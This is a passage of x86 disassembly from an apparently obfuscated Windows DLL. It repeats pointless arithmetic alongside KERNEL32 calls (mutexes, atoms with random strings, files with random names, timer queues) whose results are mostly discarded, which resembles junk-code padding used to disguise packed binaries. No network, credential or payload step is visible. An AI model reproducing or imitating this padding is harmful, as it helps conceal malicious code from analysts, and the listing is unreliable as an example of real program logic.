mov byte [0x100b7143], al
mov edx, dword [ebp - 0x36bc]
mov eax, dword [ebp - 0x3860]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov dword [ebp - 0x306c], edx
push 0x100b9bf0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [0x100b975c]
mov ecx, dword [eax]
xor ecx, dword [ebp - 0x35e0]
mov dword [ebp - 0x37dc], ecx
mov edx, dword [0x100b9850]
mov al, byte [edx]
mov byte [0x100b7f26], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x39bc], eax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [0x100b9a80], eax
mov cx, word [ebp - 0x11c0]
mov word [ebp - 0x1254], cx
mov edx, dword [ebp - 0x35ac]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1140]
add eax, ecx
mov word [ebp - 0x1144], ax
mov dl, byte [ebp - 0x21e]
mov byte [0x100b7f27], dl
movzx eax, byte [ebp - 0x1a5]
mov ecx, dword [ebp - 0x3608]
movzx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x274], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9c14], eax
mov eax, dword [ebp - 0x2ef4]
mov dword [ebp - 0x39c0], eax
mov ecx, dword [ebp - 0x3910]
mov edx, dword [ecx]
and edx, dword [ebp - 0x37b0]
mov eax, dword [0x100b9a4c]
mov dword [eax], edx
push 0
push 0x1bd9
push 0x2ae0
push 0x3126
push 1
mov ecx, dword [ebp - 0x38f4]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x39c4], eax
movsx edx, byte [0x100b7e56]
movsx eax, byte [ebp - 0x266]
sub edx, eax
mov byte [ebp - 0x264], dl
push 0x100b9c18
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push str.KO32_VQnuFAJwsljMlDP
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b94e4], ax
lea ecx, [ebp - 0xd80]
mov dword [ebp - 0x39c8], ecx
mov edx, dword [ebp - 0x3684]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x3710]
movsx ecx, word [ecx]
shl eax, cl
mov edx, dword [0x100b9734]
mov word [edx], ax
mov eax, dword [ebp - 0x3884]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x260]
sar edx, cl
mov byte [ebp - 0x276], dl
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 0x39cc], eax
mov eax, dword [ebp - 0x36e0]
push eax
call dword [sym.imp.KERNEL32.dll_ResetEvent]
mov ecx, dword [0x100b94a4]
mov edx, dword [ecx]
add edx, dword [0x100b97f8]
mov dword [ebp - 0x2cdc], edx
lea eax, [ebp - 0x1254]
mov dword [0x100b9c30], eax
mov ecx, dword [ebp - 0x350c]
mov edx, dword [0x100b9940]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x3804], eax
mov dword [ebp - 0x39d0], 0x100b7efa
lea ecx, [ebp - 0x1180]
mov dword [0x100b9c34], ecx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9a14], eax
mov dl, byte [ebp - 0x260]
mov byte [ebp - 0x284], dl
mov eax, dword [ebp - 0x35b8]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x38e8]
mov dword [ebp - 0x3748], ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b9c38], eax
movsx edx, byte [ebp - 0x266]
mov eax, dword [ebp - 0x3490]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [0x100b7e02], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x38e0], eax
lea edx, [ebp - 0x1244]
mov dword [ebp - 0x39d4], edx
movzx eax, word [0x100b9848]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1258], ax
movzx edx, word [0x100b71d0]
movzx ecx, word [ebp - 0xb0c]
shl edx, cl
mov word [ebp - 0x121c], dx
mov eax, dword [ebp - 0x385c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x3944]
shr edx, cl
mov eax, dword [0x100b952c]
mov dword [eax], edx
push 0x100b9c3c
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movsx ecx, word [ebp - 0x970]
movsx edx, word [ebp - 0x11e0]
add ecx, edx
mov word [ebp - 0x600], cx
mov eax, dword [ebp - 0x38fc]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x3524]
movzx eax, byte [edx]
and ecx, eax
mov edx, dword [ebp - 0x334c]
mov byte [edx], cl
movzx eax, word [ebp - 0x1224]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b95a0], ax
mov dword [0x100b9c54], 0x100b71e4
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x39d8], eax
movzx ecx, word [ebp - 0x11b8]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b9c58], ax
movsx edx, byte [ebp - 0xbc]
mov eax, dword [ebp - 0x37e4]
movsx ecx, byte [eax]
xor edx, ecx
mov byte [ebp - 0x278], dl
mov edx, dword [ebp - 0x36c8]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xf0c]
xor eax, ecx
mov word [ebp - 0x8f8], ax
lea edx, [ebp - 0xd80]
mov dword [0x100b9c5c], edx
mov al, byte [ebp - 0x27b]
mov byte [ebp - 0x285], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x39dc], eax
mov ecx, dword [ebp - 0x3080]
add ecx, dword [ebp - 0x3804]
mov dword [0x100b7238], ecx
push 0x100b9768
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov edx, dword [ebp - 0x3988]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x35ac]
movsx edx, word [ecx]
sub eax, edx
mov ecx, dword [ebp - 0x384c]
mov word [ecx], ax
push str.U8Mixz_Nc.Ef3Xadtsa
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [0x100b9c60], ax
mov dword [ebp - 0x39e0], 0x100b7df6
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x39e4], eax
mov dword [0x100b9c64], 0x100b71c8
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b9c68], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x38b8], eax
lea edx, [ebp - 0xae34]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x3610]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1100]
or ecx, edx
mov eax, dword [ebp - 0x3918]
mov word [eax], cx
push 0x1beb
push 0
push 0x100b9c38
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100b9c6c], eax
mov dword [ebp - 0x39e8], 0x100b9530
mov ecx, dword [ebp - 0x3684]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0xe98]
shl edx, cl
mov word [0x100b95ec], dx
mov eax, dword [ebp - 0x3964]
mov edx, dword [ebp - 0x2ef4]
mov ecx, dword [eax]
shr edx, cl
mov eax, dword [ebp - 0x385c]
mov dword [eax], edx
lea ecx, [ebp - 0x5f]
mov dword [ebp - 0x39ec], ecx
movsx edx, byte [ebp - 0x270]
movsx eax, byte [ebp - 0x1d5]
and edx, eax
mov ecx, dword [0x100b99cc]
mov byte [ecx], dl
mov edx, dword [ebp - 0x381c]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x264]
xor eax, ecx
mov edx, dword [ebp - 0x3984]
mov byte [edx], al
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0x39f0], eax
push 0x100b95fc
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 0x38e8]
add eax, dword [ebp - 0x3768]
mov dword [ebp - 0x3170], eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x39f4], eax
mov ecx, dword [0x100b9598]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x276]
and edx, eax
mov byte [0x100b718a], dl
movsx edx, word [ebp - 0x1250]
movsx ecx, word [ebp - 0x5a0]
sar edx, cl
mov word [ebp - 0xfc4], dx
mov dword [ebp - 0x39f8], 0x100b9984
movzx eax, word [0x100b9970]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x11fc], ax
mov ecx, dword [0x100b997c]
mov edx, dword [ecx]
mov dword [0x100b9c70], edx
movsx eax, byte [ebp - 0x27b]
movsx ecx, byte [ebp - 0x27e]
shl eax, cl
mov ecx, dword [ebp - 0x38a4]
mov byte [ecx], al
lea edx, [ebp - 0x3958]
mov dword [ebp - 0x39fc], edx
lea eax, [ebp - 0xaee8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx ecx, byte [ebp - 0x283]
movzx edx, byte [ebp - 0x91]
or ecx, edx
mov byte [0x100b7e72], cl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b9c74], eax
lea eax, [ebp - 0xadec]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [0x100b9b74]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x3a00], eax
movzx edx, word [ebp - 0x1150]
imul eax, edx, 0x29f
mov word [ebp - 0x11f8], ax
mov cx, word [ebp - 0xfc4]
mov word [ebp - 0x125c], cx
mov dword [0x100b9c78], 0x100b7e6a
movzx edx, word [ebp - 0x1178]
movzx eax, word [ebp - 0xdf0]
xor edx, eax
mov word [ebp - 0x11a8], dx
mov ecx, dword [ebp - 0x377c]
mov eax, dword [0x100b9540]
xor edx, edx
div dword [ecx]
mov edx, dword [ebp - 0x35d8]
mov dword [edx], eax
mov eax, dword [ebp - 0x3628]
mov ecx, dword [0x100b9644]
add ecx, dword [eax]
mov dword [0x100b97a0], ecx
mov edx, dword [ebp - 0x3524]
mov al, byte [edx]
mov byte [ebp - 0x286], al
push 0x100b9c7c
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
push 0x100b9c94
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov dword [ebp - 0x3a04], 0x20dc
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [ebp - 0x33d8], eax
push 1
lea ecx, [ebp - 0x97fc]
push ecx
mov edx, dword [0x100b9cbc]
push edx
mov eax, dword [0x100b9cb8]
push eax
mov ecx, dword [0x100b981c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x35f8], eax
mov edx, dword [0x100b971c]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1180]
and eax, ecx
mov edx, dword [ebp - 0x35ac]
mov word [edx], ax
push 0x100b9954
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsx eax, byte [ebp - 0x1f4]
mov ecx, dword [ebp - 0x35f4]
movsx ecx, byte [ecx]
sar eax, cl
mov edx, dword [0x100b9654]
mov byte [edx], al
push 0
push 2
push 3
push 0
push 4
push 0xc0000000
push str.zsyLhQkwYYueSMfUi52m3pMMaFpauHw
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3a08], eax
push 0x100b9b28
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x38b4], eax
push 0
push 0x20
push 1
push 0
push 4
push 0x40000000
push str.JoOaPtSNUPwmk
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x3a0c], eax
lea eax, [ebp - 0x6f0]
mov dword [ebp - 0x3a10], eax
lea ecx, [ebp - 0x3170]
mov dword [ebp - 0x3a14], ecx
mov dword [0x100b9cc0], 0x100b9524
mov edx, dword [ebp - 0x3618]
movzx eax, byte [edx]
mov ecx, dword [0x100b9808]
movzx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0x284], al
mov eax, dword [ebp - 0x39b0]
movsx ecx, byte [eax]
mov edx, dword [0x100b9ab4]
movsx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x381c]
mov byte [edx], cl
mov eax, dword [0x100b951c]
movsx edx, word [eax]
movsx ecx, word [ebp - 0x788]
shl edx, cl
mov word [0x100b7254], dx
lea eax, [ebp - 0x1228]
mov dword [ebp - 0x3a18], eax
lea ecx, [ebp - 0x2b2c]
mov dword [ebp - 0x3a1c], ecx
movsx edx, byte [ebp - 0x1f4]
movsx eax, byte [0x100b7e6b]
or edx, eax
mov ecx, dword [0x100b99cc]
mov byte [ecx], dl
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [0x100b9cc4], eax
push 2
push 0x100b9cb8
mov edx, dword [ebp - 0x97f8]
push edx
mov eax, dword [ebp - 0x97fc]
push eax
mov ecx, dword [0x100b99a4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x3a20], eax
mov edx, dword [ebp - 0x36f4]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x4e]
add eax, ecx
mov edx, dword [ebp - 0x3704]
mov byte [edx], al
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3a24], eax
mov eax, dword [ebp - 0x346c]
mov ecx, dword [eax]
and ecx, dword [0x100b9524]
mov dword [ebp - 0x3098], ecx
lea edx, [ebp - 0x1210]
mov dword [0x100b9cc8], edx
movsx eax, word [0x100b7220]
movsx ecx, word [ebp - 0x7d8]
sar eax, cl
mov ecx, dword [ebp - 0x3698]
mov word [ecx], ax
mov edx, dword [ebp - 0x3630]
mov eax, dword [0x100b96f4]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x3768], ecx
movsx edx, byte [ebp - 0x1d5]
mov eax, dword [ebp - 0x3690]
movsx ecx, byte [eax]
shl edx, cl
mov ecx, dword [0x100b955c]
mov byte [ecx], dl
mov dword [ebp - 0x3a28], 0x100b7e1f
movzx edx, word [ebp - 0xefc]
movzx eax, word [0x100b94f8]
add edx, eax
mov ecx, dword [ebp - 0x3648]
mov word [ecx], dx
mov edx, dword [ebp - 0x37fc]
mov ax, word [edx]
mov word [0x100b9ccc], ax
mov ecx, dword [0x100b9b54]
mov dword [ebp - 0x3a2c], ecx
push 0x100b9cd0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov edx, dword [ebp - 0x3774]
movsx eax, word [edx]
mov ecx, dword [0x100b9880]
movsx edx, word [ecx]
and eax, edx
mov ecx, dword [ebp - 0x37f0]
mov word [ecx], ax
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x34e4], eax
mov edx, dword [ebp - 0x3714]
mov eax, dword [0x100b975c]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [0x100b9b18], ecx
movsx edx, byte [ebp - 0x26a]
mov eax, dword [ebp - 0x381c]
movsx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x77], dl
push 1
lea ecx, [ebp - 0x9804]
push ecx
mov edx, dword [0x100b9cec]
push edx
mov eax, dword [0x100b9ce8]
push eax
mov ecx, dword [0x100b95e8]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [ebp - 0x36e8], eax
mov edx, dword [ebp - 0x398c]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x3740]
movzx edx, byte [ecx]
add eax, edx
mov byte [0x100b718b], al
movzx eax, word [0x100b9a1c]
mov ecx, dword [ebp - 0x3648]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0xf60], ax
mov eax, dword [0x100b9644]
sub eax, dword [ebp - 0x2cdc]
mov ecx, dword [ebp - 0x3494]
mov dword [ecx], eax
mov edx, dword [ebp - 0x385c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x2ec4]
shl eax, cl
mov dword [0x100b71f0], eax
lea ecx, [ebp - 0x11e0]
mov dword [ebp - 0x3a30], ecx
movsx edx, byte [ebp - 0xbc]
mov eax, dword [0x100b987c]
movsx ecx, byte [eax]
xor edx, ecx
mov eax, dword [ebp - 0x383c]
mov byte [eax], dl
mov ecx, dword [ebp - 0x3454]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x3658]
movzx ecx, byte [eax]
or edx, ecx
mov byte [0x100b7143], dl
mov dl, byte [ebp - 0x272]
mov byte [ebp - 0x287], dl
mov eax, dword [ebp - 0x366c]
mov edx, dword [ebp - 0x2c90]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x2d88], edx
movzx eax, word [0x100b7218]
mov ecx, dword [ebp - 0x3950]
movzx edx, word [ecx]
add eax, edx
mov word [0x100b7258], ax
mov dword [ebp - 0x3a34], 0x100b96b4
push 0x100b9cf0
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [0x100b9550]
mov ecx, dword [ebp - 0x3634]
and ecx, dword [eax]
mov edx, dword [ebp - 0x3860]
mov dword [edx], ecx
movzx eax, word [0x100b962c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [ebp - 0x1260], ax
mov ecx, dword [ebp - 0x3620]
mov dl, byte [ecx]
mov byte [0x100b7f2a], dl
mov dword [ebp - 0x3a38], 0x100b714a
mov eax, dword [ebp - 0x3760]
mov ecx, dword [eax]
imul ecx, dword [ebp - 0x3780]
mov dword [ebp - 0x3768], ecx
movzx edx, word [ebp - 0xf9c]
movzx eax, word [ebp - 0x11a8]
xor edx, eax
mov ecx, dword [0x100b9c5c]
mov word [ecx], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3a3c], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x100b9d14], eax
mov edx, dword [ebp - 0x395c]
movsx eax, word [edx]
mov ecx, dword [ebp - 0x3684]
movsx ecx, word [ecx]
shl eax, cl
mov word [ebp - 0x608], ax
mov edx, dword [0x100b99d4]
mov ax, word [edx]
mov word [ebp - 0x1264], ax
lea ecx, [ebp - 0x1a5]
mov dword [0x100b9d18], ecx
mov edx, dword [0x100b958c]
mov eax, dword [ebp - 0x37ac]
mov ecx, dword [edx]
xor ecx, dword [eax]
mov dword [ebp - 0x3944], ecx
mov dword [ebp - 0x3a40], 0x100b983c
push 0
lea edx, [ebp - 0x9814]
push edx
mov eax, dword [0x100b9d24]
push eax
mov ecx, dword [0x100b9d20]
push ecx
mov edx, dword [ebp - 0x35b0]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [0x100b9708], eax
movsx eax, byte [ebp - 0x43]
mov ecx, dword [ebp - 0x3624]
movsx edx, byte [ecx]
add eax, edx
mov byte [0x100b7e0e], al
lea eax, [ebp - 0x97c]
mov dword [ebp - 0x3a44], eax
movsx edx, word [ebp - 0xa44]
mov eax, dword [ebp - 0x35bc]
movsx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x3774]
mov word [ecx], dx
mov edx, dword [ebp - 0x37e4]
mov al, byte [edx]
mov byte [0x100b7f2b], al
movzx ecx, byte [ebp - 0xe]
mov edx, dword [ebp - 0x3704]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x387c]
mov byte [edx], cl
mov eax, dword [0x100b980c]
push eax
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov ecx, dword [ebp - 0x3a2c]
and ecx, dword [ebp - 0x326c]
mov dword [ebp - 0x2e64], ecx
mov edx, dword [ebp - 0x33e8]
mov eax, dword [edx]
xor eax, dword [ebp - 0x2d10]
mov dword [0x100b97f8], eax
movsx ecx, byte [ebp - 0xef]
mov edx, dword [ebp - 0x3690]
movsx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0xa5], cl
movzx edx, word [ebp - 0x1244]
mov eax, dword [ebp - 0x3808]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x39a8]
mov word [ecx], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3a48], eax
mov edx, dword [ebp - 0x37a0]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1214]
add eax, ecx
mov edx, dword [0x100b9990]
mov word [edx], ax
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b99dc], eax
mov eax, dword [ebp - 0x3618]
mov cl, byte [eax]
mov byte [ebp - 0x288], cl
mov edx, dword [0x100b9a4c]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x35e0]
sar eax, cl
mov dword [ebp - 0x38c8], eax
mov dword [0x100b9d1c], 0x100b9a1c
lea ecx, [ebp - 0x306c]
mov dword [ebp - 0x3a4c], ecx
movsx edx, byte [0x100b7f27]
movsx eax, byte [ebp - 0x275]
and edx, eax
mov ecx, dword [ebp - 0x37b8]
mov byte [ecx], dl
mov edx, dword [ebp - 0x3698]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x1248]
or eax, ecx
mov word [0x100b94a0], ax
movzx edx, byte [ebp - 0x1dc]
mov eax, dword [ebp - 0x33f4]
movzx ecx, byte [eax]
add edx, ecx
mov eax, dword [ebp - 0x387c]
mov byte [eax], dl
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x34e4], eax
lea ecx, [ebp - 0x2cdc]
mov dword [ebp - 0x3a50], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov dword [0x100b9d28], eax
lea edx, [ebp - 0x278]
mov dword [0x100b9d2c], edx
push 0x100a510c
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1258], ax
mov eax, dword [ebp - 0x3540]
movzx edx, word [eax]
mov eax, dword [0x100b9a2c]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x3570]
mov word [ecx], dx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [ebp - 0x3a54], eax
movzx edx, word [ebp - 0xbdc]
mov eax, dword [ebp - 0x3a44]
movzx ecx, word [eax]
and edx, ecx
mov word [ebp - 0x7ac], dx
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b99dc], eax
mov edx, dword [0x100b952c]
mov eax, dword [ebp - 0x3770]
mov edx, dword [edx]
mov ecx, dword [eax]
shr edx, cl
mov dword [0x100b725c], edx
movsx eax, word [0x100b9888]
movsx ecx, word [0x100b94a0]
xor eax, ecx
mov word [ebp - 0x1160], ax
mov edx, dword [ebp - 0x3620]
mov al, byte [edx]
mov byte [ebp - 0x289], al
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9d30], eax
mov ecx, dword [0x100b9584]
mov edx, dword [ecx]
add edx, dword [ebp - 0x3958]
mov eax, dword [0x100b9620]
mov dword [eax], edx
lea ecx, [ebp - 0x1ab]
mov dword [ebp - 0x3a58], ecx
movzx edx, word [0x100b9a1c]
movzx eax, word [ebp - 0x1138]
or edx, eax
mov ecx, dword [ebp - 0x3610]
mov word [ecx], dx
movzx edx, word [0x100b71d8]
mov eax, dword [0x100b9c5c]
movzx ecx, word [eax]
and edx, ecx
mov word [0x100b7260], dx
lea edx, [ebp - 0xef]
mov dword [ebp - 0x3a5c], edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [ebp - 0x3a60], eax
mov eax, dword [ebp - 0x346c]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x3730]
mov edx, dword [0x100b9a7c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x3488]
movsx edx, word [eax]
movsx ecx, word [0x100b9aa8]
shl edx, cl
mov word [ebp - 0xca8], dx
movzx eax, word [ebp - 0x1134]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [0x100b98bc], ax
mov cl, byte [0x100b7f02]
mov byte [ebp - 0x28a], cl
mov edx, dword [ebp - 0x39e8]
mov eax, dword [ebp - 0x36ec]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [0x100b9c64]
mov dword [eax], edx
movzx ecx, word [0x100b98f8]
mov edx, dword [ebp - 0x3898]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x59c], cx
mov ecx, dword [0x100b98e0]
mov edx, dword [ecx]
and edx, dword [ebp - 0x3780]
mov dword [ebp - 0x3744], edx
mov ax, word [0x100b9888]
mov word [0x100b9d34], ax
mov ecx, dword [ebp - 0x3990]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [0x100b9d38], eax
mov edx, dword [ebp - 0x379c]
mov eax, dword [edx]
imul eax, dword [0x100b7238]
mov dword [ebp - 0x2d7c], eax
mov cl, byte [0x100b7e0f]
mov byte [ebp - 0x28b], cl
movsx edx, byte [ebp - 0xc1]
movsx eax, byte [ebp - 0x262]
xor edx, eax
mov byte [0x100b7e56], dl
movsx ecx, byte [0x100b714a]
movsx edx, byte [ebp - 0x261]
or ecx, edx
mov eax, dword [ebp - 0x39d0]
mov byte [eax], cl
mov dword [ebp - 0x3a64], 0x100b71f8
mov ecx, dword [ebp - 0x3620]
mov dl, byte [ecx]
mov byte [0x100b7f3e], dl
push 0x100b9d3c
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, dword [ebp - 0x391c]
movsx edx, word [eax]
mov eax, dword [ebp - 0x370c]
movsx ecx, word [eax]
shl edx, cl
mov word [ebp - 0x1144], dx
movzx edx, word [ebp - 0xf80]
mov eax, dword [ebp - 0x3918]
movzx ecx, word [eax]
sar edx, cl
mov word [ebp - 0x8f8], dx
call dword [sym.imp.KERNEL32.dll_CreateTimerQueue]
mov dword [ebp - 0x3a68], eax
push 0x100b9c18
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [ebp - 0x34bc]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [ebp - 0x3a6c], eax
lea edx, [ebp - 0x306c]
mov dword [0x100b9d54], edx
mov dword [ebp - 0x3a70], 0x100b7183
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9d58], eax
lea eax, [ebp - 0x3780]
mov dword [ebp - 0x3a74], eax
movzx ecx, byte [ebp - 0x268]
mov edx, dword [ebp - 0x3534]
movzx eax, byte [edx]
add ecx, eax
mov byte [0x100b7dff], cl
movzx ecx, word [0x100b98f8]
movzx edx, word [ebp - 0x11cc]
and ecx, edx
mov word [ebp - 0xa10], cx
lea eax, [ebp - 0x1144]
mov dword [ebp - 0x3a78], eax
mov dword [0x100b9d5c], 0x100b7e56
mov ecx, dword [0x100b9ab8]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x1100]
xor edx, eax
mov word [ebp - 0x11cc], dx
push 0x1650
push 0
lea ecx, [ebp - 0x39d8]
push ecx
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [0x100b9c14], eax
mov edx, dword [ebp - 0x3938]
mov eax, dword [edx]
xor eax, dword [ebp - 0x3634]
mov dword [ebp - 0x2ac0], eax
push 0x100a5110
call dword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [ebp - 0x1268], ax
mov ecx, dword [ebp - 0x2c90]
xor ecx, dword [0x100b7234]
mov edx, dword [0x100b9a4c]
mov dword [edx], ecx
movzx eax, byte [ebp - 0x27c]
movzx ecx, byte [0x100b714f]
add eax, ecx
mov edx, dword [ebp - 0x3740]
mov byte [edx], al
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [0x100b9680], eax
mov eax, dword [ebp - 0x3710]
movsx ecx, word [eax]
movsx edx, word [0x100b7254]
sub ecx, edx
mov word [ebp - 0x6bc], cx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [0x100b9d60], eax
movsx eax, byte [0x100b7e0e]
mov ecx, dword [ebp - 0x35f0]
movsx edx, byte [ecx]
or eax, edx
mov byte [0x100b7157], al
lea eax, [ebp - 0x9c70]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
movzx edx, word [ebp - 0xf60]
mov eax, dword [ebp - 0x3814]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x35ec]
mov word [ecx], dx
mov edx, dword [ebp - 0x36ec]
mov eax, dword [edx]
mov dword [ebp - 0x3a7c], eax
mov ecx, dword [ebp - 0x346c]
mov edx, dword [0x100b723c]
mov ecx, dword [ecx]
shr edx, cl
mov dword [0x100b7264], edx
movzx eax, byte [0x100b7f03]
mov ecx, dword [ebp - 0x3704]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x140], al
movsx eax, byte [ebp - 0x275]
mov ecx, dword [ebp - 0x3a70]
movsx edx, byte [ecx]
xor eax, edx
mov byte [ebp - 0xa5], al
lea eax, [ebp - 0x608]
mov dword [0x100b9d64], eax
lea ecx, [ebp - 0x11dc]
mov dword [ebp - 0x3a80], ecx
mov edx, dword [ebp - 0x37c0]
mov eax, dword [ebp - 0x2c90]
add eax, dword [edx]
mov ecx, dword [ebp - 0x366c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x349c]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x1d5]
and eax, ecx
mov byte [0x100b7133], al
mov dword [ebp - 0x3a84], 0x100b712e
mov edx, dword [ebp - 0x3770]
mov eax, dword [edx]
